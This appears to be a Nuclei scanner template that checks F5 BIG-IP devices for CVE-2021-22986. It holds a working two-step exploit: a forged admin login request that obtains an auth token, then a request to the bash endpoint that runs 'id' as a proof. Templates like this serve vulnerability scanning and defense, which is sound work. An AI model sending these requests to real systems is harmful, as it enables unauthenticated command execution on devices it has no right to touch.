61 lines
1.7 KiB
YAML
61 lines
1.7 KiB
YAML
id: CVE-2021-22986
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info:
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name: F5 BIG-IP iControl REST - Remote Command Execution
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author: rootxharsh,iamnoooob
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severity: critical
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description: F5 BIG-IP iControl REST interface is susceptible to an unauthenticated remote command execution vulnerability.
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reference:
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- https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
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- https://support.f5.com/csp/article/K03009991
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22986
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-22986
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tags: bigip,cve,cve2021,rce,mirai,cisa
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requests:
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- raw:
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- |
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POST /mgmt/shared/authn/login HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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Authorization: Basic YWRtaW46
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Content-Type: application/json
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Cookie: BIGIPAuthCookie=1234
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{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}
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- |
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POST /mgmt/tm/util/bash HTTP/1.1
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Host: {{Hostname}}
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Accept-Language: en
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X-F5-Auth-Token: {{token}}
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Content-Type: application/json
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{"command":"run","utilCmdArgs":"-c id"}
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extractors:
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- type: regex
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part: body
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internal: true
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name: token
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group: 1
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regex:
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- "([A-Z0-9]{26})"
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- type: regex
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part: body
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group: 1
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regex:
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- "\"commandResult\":\"(.*)\""
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matchers:
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- type: word
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words:
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- "commandResult"
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- "uid="
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condition: and
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# Enhanced by mp on 2022/05/05
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